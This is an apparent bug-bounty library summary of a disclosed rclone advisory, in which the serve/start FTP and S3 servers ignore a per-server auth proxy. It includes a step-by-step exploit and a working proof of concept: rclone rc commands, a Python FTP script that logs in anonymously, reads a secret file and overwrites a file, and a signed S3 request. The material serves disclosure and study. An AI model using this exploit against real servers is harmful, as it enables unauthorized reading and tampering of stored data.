# rclone: RC per-server auth-proxy bypass

rclone RC serve/start FTP/S3 constructors check global proxy.Opt.AuthProxy instead of request-local proxyOpt, so configured auth proxy is ignored and anonymous FTP or fixed-backend S3 access is granted.

- Payout: Research
- Severity: critical
- Program: rclone
- Found by: cyberlanc3r
- Disclosed: 2026-09-10
- CVE: CVE-2026-88044
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-p569-5gjg-9cmj
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-p569-5gjg-9cmj
- Tags: area:oss domain:oss impact:data-leak impact:integrity kind:research platform:ghsa sev:critical tech:go technique:source-review vuln:access-control vuln:auth-bypass vuln:misconfiguration

**Target:** rclone RC serve/start FTP and S3 adapters
**Root cause:** FTP and S3 server constructors branch on process-global proxy.Opt.AuthProxy rather than the request-local proxyOpt.AuthProxy passed from serve/start, so a per-server auth proxy is parsed but never activates proxy mode.
**Steps:**
1. Start RC: `./rclone rcd --rc-addr 127.0.0.1:5572 --rc-no-auth`
2. Start FTP with only request-local proxy: `serve/start type=ftp fs=/tmp/rclone-rc-root proxyOpt='{"AuthProxy":"/tmp/deny-rclone-proxy.sh"}' opt='{"ListenAddr":"127.0.0.1:2121","PassivePorts":"30000-30010"}'`
3. Connect with `ftp.login("anonymous", "arbitrary-password")` — succeeds despite rejecting proxy
4. `RETR secret.txt` returns fixed-backend file; `STOR overwritten.txt` writes to fixed filesystem
5. Verify `/tmp/rclone-auth-proxy-invoked` does not exist (proxy never invoked)
6. S3 variant: start with `auth_key` plus `proxyOpt.AuthProxy` routing to a different root; signed request for `fixed-secret.txt` returns fixed-backend file instead of proxy-selected root
**How found:** Code review of serve/start RC adapters: noticed adapters correctly build local proxyOpt and pass to newServer, but constructors branch on proxy.Opt.AuthProxy global; traced FTP fallback to anonymous/empty-password defaults and S3 fallback to fixed VFS.
**Exploitation:** Operator configures per-server auth proxy via serve/start proxyOpt; attacker connects to exposed FTP listener with anonymous/arbitrary password and reads/writes/deletes in the fixed RC filesystem. For S3, any holder of an accepted auth_key reaches the fixed fs instead of the proxy-selected backend.
**Insight:** When a request-scoped option object is threaded into a constructor, grep for any branch on the corresponding global option — a parsed-but-unused security flag is a fail-open. Audit every serve.AddRc adapter for the same local-vs-global mismatch.

## Proof of concept (copied exactly from the original report)

**RC serve/start FTP with request-local auth proxy**

```
./rclone rc --url http://127.0.0.1:5572 \
  serve/start \
  type=ftp \
  fs=/tmp/rclone-rc-root \
  proxyOpt='{"AuthProxy":"/tmp/deny-rclone-proxy.sh"}' \
  opt='{"ListenAddr":"127.0.0.1:2121","PassivePorts":"30000-30010"}'
```

**Python FTP login as anonymous and read/write**

```
python3 - <<'PY'
import ftplib
import io

ftp = ftplib.FTP()
ftp.connect("127.0.0.1", 2121, timeout=5)
ftp.login("anonymous", "arbitrary-password")

data = bytearray()
ftp.retrbinary("RETR secret.txt", data.extend)
print(data.decode().strip())

ftp.storbinary("STOR overwritten.txt", io.BytesIO(b"attacker-controlled\n"))
ftp.quit()
PY

test ! -e /tmp/rclone-auth-proxy-invoked
grep -F attacker-controlled /tmp/rclone-rc-root/overwritten.txt
```

**Authenticated S3 serve/start with proxyOpt routing**

```
./rclone rc --url http://127.0.0.1:5572 serve/start --json '{
  "type": "s3",
  "fs": "/tmp/rclone-s3-fixed",
  "addr": "127.0.0.1:8080",
  "auth_key": ["validation-key,validation-secret"],
  "proxyOpt": {
    "AuthProxy": "python3 /tmp/rclone-s3-route-proxy.py"
  }
}'

Send a correctly signed S3 request:

AWS_ACCESS_KEY_ID=validation-key \
AWS_SECRET_ACCESS_KEY=validation-secret \
AWS_DEFAULT_REGION=us-east-1 \
aws --endpoint-url http://127.0.0.1:8080 \
  s3api get-object \
  --bucket bucket \
  --key fixed-secret.txt \
  /tmp/rclone-s3-result

grep -F fixed-backend-secret /tmp/rclone-s3-result
```

